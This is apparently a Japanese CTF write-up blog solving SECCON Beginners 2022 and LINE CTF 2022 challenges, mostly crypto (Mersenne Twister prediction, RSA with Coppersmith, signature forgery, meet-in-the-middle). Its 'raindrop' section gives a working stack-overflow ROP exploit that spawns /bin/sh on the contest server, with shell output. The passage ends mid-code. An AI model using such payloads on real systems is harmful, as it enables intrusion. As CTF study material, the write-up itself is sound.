FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')


def main():
    r = random.Random()

    for i in range(3):
        try:
            inp = int(input('Input to oracle: '))
            if inp > 2**64:
                print('input is too big')
                return

            oracle = r.getrandbits(inp.bit_length()) ^ inp
            print(f'The oracle is: {oracle}')
        except ValueError:
            continue

    intflag = int(FLAG.encode().hex(), 16)
    encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
    print(f'Encrypted flag: {encrypted_flag}')


if __name__ == '__main__':
    main()

要約

random.Random()から３つ数字が出てくるのを観測できるので、そこから４つ目の乱数を当てよ。

解法

PRNGの問題はほとんどやった事がないので、これが一番復習して学びが大きかった。

まずpythonのrandomはメルセンヌツイスターで実装されていることを知る。

内部原理は完璧には追えてないが、32bit出力を624個集めると以降の出力は完全に決まるらしい。

inaz2.hatenablog.com

しかし本問ではクエリは３回しか投げられないのでどうしましょう詰み、という感じで本番は匙投げてた。

ここから先に進むには２つのポイントを押さえなければならない。

1.　r.getrandbits(xxx)でxxxに64(resp. 96)を指定すると、r.getrandbits(32)を２回(resp. ３回)読んだ結果をconcatenateした結果を返す。

これは以下のスクリプトから確認できる：

import random

r = random.Random()
r.setstate((3,tuple(range(625)), None))  # seedを設定

r1 = bin(r.getrandbits(32))[2:]  # 一つ目
r2 = bin(r.getrandbits(32))[2:]  # 二つ目
r1 = "0" * (32 - len(r1)) + r1  # 32bitになるよう成形
r2 = "0" * (32 - len(r2)) + r2  # 32bitになるよう成形

r.setstate((3,tuple(range(625)), None))  # seedをリセット
r3 = bin(r.getrandbits(64))[2:]  # 三つ目
r3 = "0" * (64 - len(r3)) + r3  # 64bitになるよう成形

assert r2 + r1 == r3

これより624個もクエリを送らなくても、32bit * 624 = 19968bit分、r.getrandbits(19968)で１回クエリを送れば十分である。

問題中で入力文字は2⁶⁴以内に限定されていて19968bitも送れないような気がするが、これは負の数にすれば解決。

ということで-(1<<19968-1)を１回送り込めば終わり。後は上記ブログ記事を参考にメルセンヌツイスターのseedを割ればよい。

注意？：ターミナルに直接-(1<<19968-1)を打ち込むとフリーズしてしまった。python純正ライブラリでsocket通信のスクリプトを書いたらこちらも実行時にフリーズ。なんでやと思いつつ他の人のwriteupを見るとpwntoolsを使っている方を見つけたので、以下の解答はそちらを参考にしてます。

https://zenn.dev/hk_ilohas/articles/ctf4b2022-crypto

コード

from Crypto.Util.number import long_to_bytes
from pwn import *

io = remote("unpredictable-pad.quals.beginners.seccon.jp", 9777)
inp = 1 - (1 << 19968)

# １回目（捨てる）
io.sendlineafter(b": ", str(1).encode())
io.recvline()

# ２回目（捨てる）
io.sendlineafter(b": ", str(2).encode())
io.recvline()

# ３回目（本番）
io.sendlineafter(b": ", str(inp).encode())
io.recvuntil(b": ")
output = int(io.recvline().strip()) ^ inp
output = bin(output)[2:]
output = '0' * (19968 - len(output)) + output
values = [int(output[i:i+32], 2) for i in range(0, 19968, 32)]
values.reverse()

# ４回目（フラグの暗号）
io.recvuntil(b": ")
enc = int(io.recvline().strip().decode())
print(f"{enc=}")

########################

def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xefc60000)
    x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
    x = unBitshiftRightXor(x, 11)
    return x

def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y

def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y

# シード復元
mt_state = tuple([untemper(x) for x in values] + [624])
random.setstate((3, mt_state, None))

bitlen = len(bin(enc)[2:])
flag = enc ^ random.getrandbits(bitlen)
long_to_bytes(flag)

出力

enc=553598046806874669345719028802231204776880172706428407525600993306770576
b'ctf4b{M4y_MT19937_b3_w17h_y0u}'

omni-RSA

from Crypto.Util.number import *
from flag import flag

p, q, r = getPrime(512), getPrime(256), getPrime(256)
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
e = 2003
d = inverse(e, phi)

flag = bytes_to_long(flag.encode())
cipher = pow(flag, e, n)

s = d % ((q - 1)*(r - 1)) & (2**470 - 1)

assert q < r
print("rq =", r % q)

print("e =", e)
print("n =", n)
print("s =", s)
print("cipher =", cipher)

# rq = 7062868051777431792068714233088346458853439302461253671126410604645566438638
# e = 2003
# n = 140735937315721299582012271948983606040515856203095488910447576031270423278798287969947290908107499639255710908946669335985101959587493331281108201956459032271521083896344745259700651329459617119839995200673938478129274453144336015573208490094867570399501781784015670585043084941769317893797657324242253119873
# s = 1227151974351032983332456714998776453509045403806082930374928568863822330849014696701894272422348965090027592677317646472514367175350102138331
# cipher = 82412668756220041769979914934789463246015810009718254908303314153112258034728623481105815482207815918342082933427247924956647810307951148199551543392938344763435508464036683592604350121356524208096280681304955556292679275244357522750630140768411103240567076573094418811001539712472534616918635076601402584666

要約

RSAもどきでn=pqrは３つの素数の積。dは(q - 1)*(r - 1)による剰余の下470桁が与えられている。dを復元せよ。

解法

dの(q - 1)*(r - 1)による剰余は512桁で下470桁が割れているという問題設定からCoppersmithで上位ビットを解く匂いがする。なのでdに絡む方程式を作りたい。以降d,eはmod (q - 1) * (r - 1)の元での表現とする。

d * e = 1 mod (p - 1) * (q - 1) * (r - 1) => d * e = 1 mod (q - 1) * (r - 1)

であるからこれが方程式になりそうであるが、ここでqもrもわからなくて（r%qのみわかっている）でもCoppersmithやるにはmodulus分かってないと解けないしで詰んでた。

最大の敗因は「modを取り除かなかった」こと。これちょくちょく今までの解けなかった問題で見た記憶があるので、ちゃんと意識持った方がいいな。

上の式でmodを外すと

d * e = k * (q - 1) * (r - 1) + 1

と書ける。ここで両辺の大きさを見比べると、左辺＝(512+11)bit (11=bitlen(e)=bitlen(2003))、右辺＝(bitlen(k)+512)bitなので、kはせいぜい1~2048の範囲に収まる。なのでkを決め打ちして全パターン試して方程式が解けるかチェックすれば良い。

というわけでkが仮にわかっているとして進めよう。dの下470桁が既知なので

d = x * (1 << 470) + s  (xが未知数、bitlen(x) = 512 - 470 = 42)

と書き直す。さらにr%qが分かっているので上の方程式にmod qをとれば

(x * (1 << 470) + s) * e = k * (-1) * (r%q - 1) + 1  (mod q)

後はこれを解けば良いが、どっちみちqがわからないのでCoppersmithできないじゃん。。。

と思いきや、これをmod nで解けばその解はmod qでの解にもなってるんですね、ほほおおお（目から鱗）

というわけでこれでxが分かったので、後は芋づるにk,d->q->r->p->phiと色々割れておしまい。

なおCoppersmithのハイパラ結構シビアらしく、確かに調整に手間取った。

上限Xを1<<43に指定して
betaとepsilonをx<ceil(0.5 * n^{beta*beta/degree(f)-epsilon})が成り立つ範囲でなるべく小さく取る

よう意識して色々実験してたらbeta=0.24,epsilon=beta/16で刺さった。注意点というか気付きとして、x<ceil(0.5 * n^{betabeta/degree(f)-epsilon})が成り立つようbeta,epsilonを選んでいたとしてもsmall_roots()で解が出てくるとは限らない*んだな。なんか定量的にハイパラ決める方法ないのか？？？

コード

from tqdm import tqdm
from Crypto.Util.number import long_to_bytes, isPrime
from gmpy2 import iroot

PR.<y> = PolynomialRing(Zmod(n))
for k in tqdm(range(1, 2048)):
    f = (y * (1 << 470) + s) * e - 1 - k * (-1) * (rq - 1)
    f = f.monic()
    roots = f.small_roots(X = 1<<43, beta=beta, epsilon=epsilon)
    if roots:
        print(f"{k=}, {roots=}")
        break

x = roots[0]
d0 = x * (1 << 470) + s

#    d0 * e - 1 = k * (q - 1) * (q + rq - 1)
# => k * q^2 + k * (rq - 2) * q - k * (rq - 1) + 1 - d0 * e = 0
D = k*k*(rq - 2)*(rq - 2) - 4 * k * (-k * (rq - 1) + 1 - d0 * e)
sqr, ret = iroot(int(D), int(2))
assert ret
q = (-k * (rq - 2) + sqr) // (2 * k)

r = q + rq
p = n // (q * r)
assert isPrime(p) and isPrime(q) and isPrime(r)
phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e, phi)

flag = pow(cipher, d, n)
long_to_bytes(int(flag))

出力

k=1576, roots=[3248825676044]
b'ctf4b{GoodWork!!!YouAreTrulyOmniscientAndOmnipotent!!!}'

教訓

行き詰まったらmodを外す。
Coppersmithはmodulus不明でもそれを因数にもつmodulusを使える。
CoppersmithはX,beta,epsilonの調整頑張る。

raindrop

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 5; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    help();
    alarm(60);
}

要約

実行するとまずスタックの様子をshow_stack関数が示してくれて、その後48byteの文字列入力ができる。最後にもう一度show_stackが呼ばれて終了。

解法

bufferが16byteしか確保されてないが、48byte入力できるので、明らかにbof攻撃してくださいと言わんばかり。しかもスタックを見せてくれるという超親切設計。

help関数内にsystemコールがあるので、bof攻撃によりvuln関数の終了時点でのeipをsystemに書き換えてsystem("/bin/sh")でflag.txtをcatすれば終わりという予想はたつ。そこで

systemコールのアドレス
"/bin/sh"を書き込んだbufferのアドレス

が分かれば良い。

前者はgdbでhelp関数をdisassembleすればすぐ分かる：

gdb-peda$ pdisas help
Dump of assembler code for function help:
   0x00000000004011d6 <+0>:   endbr64
   0x00000000004011da <+4>:   push   rbp
   0x00000000004011db <+5>:   mov    rbp,rsp
   0x00000000004011de <+8>:   lea    rdi,[rip+0xe23]        # 0x402008
   0x00000000004011e5 <+15>:  call   0x4010a0 <system@plt>
   0x00000000004011ea <+20>:  nop
   0x00000000004011eb <+21>:  pop    rbp
   0x00000000004011ec <+22>:  ret
End of assembler dump.

ここで要注意点！！！systemの在処として飛ばす先はpltの0x4010a0ではなくcallしている0x4011e5が正解！！！

本番ではずっとpltの方に飛ばそうとしてうまくいかずウンウン唸っていたが、どうもamd64の仕様として関数呼び出し時はスタックサイズが16の倍数になってないと怒られるらしい。以下discordから引用：

amd64では「関数呼び出し時は、スタックが16バイトアライメントにそっている」ことを前提としたABIになっています。(アライメントが沿っていない場合は、system関数内部のXMM系レジスタ操作でSegmentation Faultが発生するようです) https://stackoverflow.com/questions/49391001/why-does-the-x86-64-amd64-system-v-abi-mandate-a-16-byte-stack-alignment pushやpop、及び暗黙にそれらを使用するcallやretでは8バイト単位でRSPが変わるので、1回それらが入るごとに「アライメントにそっている<=>そっていない」が切り替わる動作になります

後者はASLR有効のためbufferのアドレスは毎回変わってしまうのだが、最初に呼ばれるshow_stackによりsaved_rbpのアドレスは分かるので、そこから逆算すればなんだかbufferのアドレスは出せそうである。これはmain関数がvuln関数を呼ぶ流れを追うと、saved_rbpに書かれている値は丁度現在のrbpから16byte上（その区間にsaved_rgbとeipが保存されている）ということがmain関数のディスアセンブルで分かる。

（push rbpで8byte積まれて、次のcall vulnでeip戻り先アドレスの8byteがさらに積まれてる）

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000004011ed <+0>:   endbr64
   0x00000000004011f1 <+4>:   push   rbp
   0x00000000004011f2 <+5>:   mov    rbp,rsp
   0x00000000004011f5 <+8>:   mov    eax,0x0
   0x00000000004011fa <+13>:  call   0x401206 <vuln>
   0x00000000004011ff <+18>:  mov    eax,0x0
   0x0000000000401204 <+23>:  pop    rbp
   0x0000000000401205 <+24>:  ret
End of assembler dump.

vuln関数ではrgbから16byteスタックにbufferとして確保されていることがgdbもしくはshow_stackの出力から分かるので、結論saved_rbpから16+16=32byte下がったところがbufferのアドレスとなる。

以上を踏まえて以下の入力が攻撃文字列となる：

b"/bin/sh\x00" + b"AAAAAAAA" + b"(saved_rbpの値)" + b"(systemコールのアドレス)" + b"(systemに渡す引数＝bufferのアドレス)"

前２ブロックがbuffer分で、
３ブロック目がsaved_rbpでここは変更なし。
４ブロック目がeip戻り先で、ここが本来はmainでvulnから帰ってくるアドレスなのをsystemに飛ぶよう書き換える。
５ブロック目はsystem("/bin/sh")の引数"/bin/sh"が書かれているアドレス、すなわちbufferのアドレスを指す。

なおsaved_rbpのアドレスは./challを動かさない限り取れないので、これはターミナルでechoにより文字列を流し込む方法ではどうやっても無理。pwntoolを使うしかない。（pwntool使い方まだ分かってなかったのでどっちみち本番は詰んでたw）

コード

以下のコードはdiscordに上がっていたyu1hpaさんのスクリプトをそのまま引用しています。 pwntoolsはjupyterだと動かんのですかね、io.interactive()の後シェルとやり取りできなくなる。代わりにio.sendline(b"ls")とか試してみたけどダメでした。うむむ。。。

from pwn import *

HOST = "raindrop.quals.beginners.seccon.jp"
PORT = 9001
file = "./chall"
e = ELF(file)

context(os = 'linux', arch = 'amd64')
#context.log_level = 'debug'

rop_pop_rdi = 0x00401453
rop_ret = 0x0040101a
call_system_addr = 0x4011e5

io = remote(HOST, PORT)
#io = process(file)

io.recvuntil("000002 | ")
stack_addr = int(io.recvuntil(" ")[:-1], 16)
print(f'{stack_addr:x}')
binsh_addr = stack_addr - 0x20
binsh = b"/bin/sh"

pld = binsh + b"\x00"*(16 - len(binsh)) + p64(stack_addr)
pld += p64(rop_pop_rdi)
pld += p64(binsh_addr)
pld += p64(call_system_addr)
io.sendlineafter("understand?", pld)

io.interactive()

出力

[*] '/mnt/cryptohack/SECCON2022ForBeginners/raindrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done
untitled.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("000002 | ")
untitled.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  stack_addr = int(io.recvuntil(" ")[:-1], 16)
7ffe69a6af10
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode

bye!
stack dump...

[Index] |[Value]             
========+===================
 000000 | 0x0068732f6e69622f  <- buf
 000001 | 0x0000000000000000 
 000002 | 0x00007ffe69a6af10  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00007ffe69a6aef0 
finish
$ ls
chall
flag.txt
redir.sh
welcome.txt
$ cat flag.txt
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

2022-04-02

LINE CTF 2022

CTF

zer0ptsCTFの復習が終わらぬまま１週間後に再びCTF。今回もcrypt限定で解いた。全５問で４問解けたのでまあまあではないでしょうか。最後の１問はgoで書かれてたので何も分からず。なお他分野と合わせても序盤でかなりcryptが解かれてたので今年は簡単だったのかも。。。

X Factor

I have generated a RSA-1024 key pair:
* public key exponent: 0x10001
* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3

Here are some known plain -> signature pairs I generated using my private key:
* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a
* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c
* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb
* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd
* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a

**What is the signature of 0x686178656c696f6e?**

Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.

要約

同じRSAの秘密鍵で複数の平文に署名がされている。この時与えられた平文に署名をすることができるか？

解法

マークダウンで問題が与えられるのは目新しい。最初はCRT使う系かと思ったがe,dはどれも同じなのでそれは無理。結論としてはRSAが積を保つことを利用する。具体的には平文と署名のペアを(pi, ci)として

p1 = 811 · 947^3 · 970111
p2 = 2 · 61 · 197
p3 = 970111 · 2098711^2 · 2854343
p4 = 947 · 970111 · 2098711
p5 = 61 · 197^2 · 811
p6 = 2098711 · 2854343 · 9605087
p7 = 197 · 811 · 947

であることから、署名したい平文pは

p = 2 · 197 · 947 · 2098711 · 9605087
   = p2 * p6 * pow(p5, -1, n) * pow(p3, -1, n) * pow(p4, 2, n) * pow(p1, -1, n) * pow(p7, 2, n)

と書ける。どうせpがp1~p7の積で書けるだろうということは素因数分解をしている時点で確信したので、実際の分解はエスパーで頑張った。ちゃんとやるには線型方程式作ればいいが、そこまでしなくても５分程度でなんとなくこの分解にたどり着く。

あとはこの分解が署名の方でも成り立つことから、求める答えは

s = s2 * s6 * pow(s5, -1, n) * pow(s3, -1, n) * pow(s4, 2, n) * pow(s1, -1, n) * pow(s7, 2, n) % n

下位16byteをバイト列に直したものがフラグということで、出てきた文字列は全然フラグっぽくないけどもえいやで提出。

コード

e = 0x10001
n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3

p1 = 0x945d86b04b2e7c7
p2 = 0x5de2
p3 = 0xa16b201cdd42ad70da249
p4 = 0x6d993121ed46b
p5 = 0x726fa7a7
p6 = 0x31e828d97a0874cff
p7 = 0x904a515

s1 = 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
s2 = 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
s3 = 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a
s4 = 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c
s5 = 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb
s6 = 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd
s7 = 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a

p = 0x686178656c696f6e

print(p % n == p2 * p6 * pow(p5, -1, n) * pow(p3, -1, n) * pow(p4, 2, n) * pow(p1, -1, n) * pow(p7, 2, n) % n)

s = s2 * s6 * pow(s5, -1, n) * pow(s3, -1, n) * pow(s4, 2, n) * pow(s1, -1, n) * pow(s7, 2, n) % n

print(hex(s)[-32:])

出力

True
'a049347a7db8226d496eb55c15b1d840'

ss-puzzle

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 64 bytes
FLAG = b'LINECTF{...}'

def xor(a:bytes, b:bytes) -> bytes:
    return bytes(i^j for i, j in zip(a, b))

S = [None]*4
R = [None]*4
Share = [None]*5

S[0] = FLAG[0:8]  # = b'LINECTF{'
S[1] = FLAG[8:16]
S[2] = FLAG[16:24]
S[3] = FLAG[24:32]

# Ideally, R should be random stream. (Not hint)
R[0] = FLAG[32:40]
R[1] = FLAG[40:48]
R[2] = FLAG[48:56]
R[3] = FLAG[56:64]

Share[0] = R[0]            + xor(R[1], S[3]) + xor(R[2], S[2]) + xor(R[3],S[1])
Share[1] = xor(R[0], S[0]) + R[1]            + xor(R[2], S[3]) + xor(R[3],S[2])
Share[2] = xor(R[0], S[1]) + xor(R[1], S[0]) + R[2]            + xor(R[3],S[3])
Share[3] = xor(R[0], S[2]) + xor(R[1], S[1]) + xor(R[2], S[0]) + R[3]
Share[4] = xor(R[0], S[3]) + xor(R[1], S[2]) + xor(R[2], S[1]) + xor(R[3],S[0])

# This share is partially broken.
Share[1] = Share[1][0:8]   + b'\x00'*8       + Share[1][16:24] + Share[1][24:32]

for s in Share:
    print(s)

要約

フラグを8byteずつ分割してお互いにxorを何回か取った結果が与えられるので、元のフラグを復元せよ。

解法

あまりに簡単で拍子抜け。こっちの方がwarmupなのでは。フラグ最初の8文字はbLINECTF{で完璧に割れているので、あとはウニャウニャ復元していくだけ。

コード

with open("ss_puzzle_8d056282d224bc3eedcf3da887e4ab704f2a169d/Share1", "rb") as f:
    Share1 = f.read()
    
with open("ss_puzzle_8d056282d224bc3eedcf3da887e4ab704f2a169d/Share4", "rb") as f:
    Share4 = f.read()

# Share1
S0 = b"LINECTF{"
R0S0 = Share1[0:8]
R2S3 = Share1[16:24]
R3S2 = Share1[24:32]

# Share4
R0S3 = Share4[0:8]
R1S2 = Share4[8:16]
R2S1 = Share4[16:24]
R3S0 = Share4[24:32]

R0 = xor(S0, R0S0)
S3 = xor(R0, R0S3)
R2 = xor(S3, R2S3)
S1 = xor(R2, R2S1)
R3 = xor(S0, R3S0)
S2 = xor(R3, R3S2)
R1 = xor(S2, R1S2)
print(S0 + S1 + S2 + S3 + R0 + R1 + R2 + R3)

出力

b'LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}'

Forward-or

from present import Present
from Crypto.Util.strxor import strxor
import os, re

class CTRMode():
    def __init__(self, key, nonce=None):
        self.key = key # 20bytes
        self.cipher = DoubleRoundReducedPresent(key)
        if None==nonce:
            nonce = os.urandom(self.cipher.block_size//2)
        self.nonce = nonce # 4bytes
    
    def XorStream(self, data):
        output = b""
        counter = 0
        for i in range(0, len(data), self.cipher.block_size):
            keystream = self.cipher.encrypt(self.nonce+counter.to_bytes(self.cipher.block_size//2, 'big'))
            if b""==keystream:
                exit(1)

            if len(data)<i+self.cipher.block_size:
                block = data[i:len(data)]
            block = data[i:i+self.cipher.block_size]
            block = strxor(keystream[:len(block)], block)
            
            output+=block
            counter+=1
        return output

    def encrypt(self, plaintext):
        return self.XorStream(plaintext)

    def decrypt(self, ciphertext):
        return self.XorStream(ciphertext)

class DoubleRoundReducedPresent():

    def __init__(self, key):
        self.block_size = 8
        self.key_length = 160 # bits
        self.round = 16
        self.cipher0 = Present(key[0:10], self.round)
        self.cipher1 = Present(key[10:20], self.round)
    
    def encrypt(self, plaintext):
        if len(plaintext)>self.block_size:
            print("Error: Plaintext must be less than %d bytes per block" % self.block_size)
            return b""
        return self.cipher1.encrypt(self.cipher0.encrypt(plaintext))
    
    def decrypt(self, ciphertext):
        if len(ciphertext)>self.block_size:
            print("Error: Ciphertext must be less than %d bytes per block" % self.block_size)
            return b""
        return self.cipher0.decrypt(self.cipher1.decrypt(ciphertext))

if __name__ == "__main__":
    import sys, os
    sys.path.append(os.path.join(os.path.dirname(__file__), './secret/'))
    from keyfile import key
    from flag import flag

    # load key
    if not re.fullmatch(r'[0-3]+', key):
        exit(1)
    key = key.encode('ascii')

    # load flag
    flag = flag.encode('ascii') # LINECTF{...}

    plain = flag
    cipher = CTRMode(key)
    ciphertext = cipher.encrypt(plain)
    nonce = cipher.nonce

    print(ciphertext.hex())
    print(nonce.hex())

要約

Presentというストリーム暗号を二重に用いて暗号化した結果が与えられるので、そこからフラグを復号せよ。（なおPresentのコードも与えられたが、内部構造は知らなくても解けるのでここでは割愛）

解法

この問題が今回の問題セットの中で一番解き甲斐があった。まず最初に気づく点として

if not re.fullmatch(r'[0-3]+', key):
    exit(1)

とあることから鍵は0,1,2,3のみから成り鍵候補は非常に少ない。またPresentを二重にかけている所が明らかに怪しい。

ここでブロック暗号についてググっていると次のふるつき先生のコメントに行き当たる：

2段や3段の暗号化で、使われている鍵が短い (Meet in the Middle Attack)

Meet in the Middle Attackができる。

見事に本ケースに当てはまるので、おそらくこれで間違い無いだろう。Meet in the Middleは平文暗号文ペアから鍵を割り出す手法。一見すると平文暗号文ペアなんて与えられてないので困ってしまうが、これもss-puzzle同様平文の先頭がbLINECTF{なことから対応する暗号文も与えられた暗号文の先頭8文字として得られる。

あとはMeet in the Middle (MITM)するだけだがちょっと注意。暗号化の仕方を見ると

nonce(既知)から２回暗号化してビットマスクを得る。
平文にビットマスクをかけて暗号文とする。

なので、MITMの仕方としては

nonce ---(encode)---> [collision!!!] <---(decode)--- plaintext xor ciphertext

となる。

鍵長は10で各文字は0,1,2,3の4パターンなので、鍵空間のサイズは4¹⁰~0(10⁶)オーダー。この全ての鍵に対してnonceをencodeした結果及びビットマスクをdecodeした結果を辞書に保存しておき、それぞれの結果で一致したものがあれば、それがcollision!!!に対応するものであって同時にencodeに使った鍵とdecodeに使った鍵もわかる。

鍵が割れればあとは素直に与えられた暗号文を二重decodeすれば完成。

コード

import itertools
from collections import defaultdict
from tqdm import tqdm

cipher=bytes.fromhex("3201339d0fcffbd152f169ddcb8349647d8bc36a73abc4d981d3206f4b1d98468995b9b1c15dc0f0")
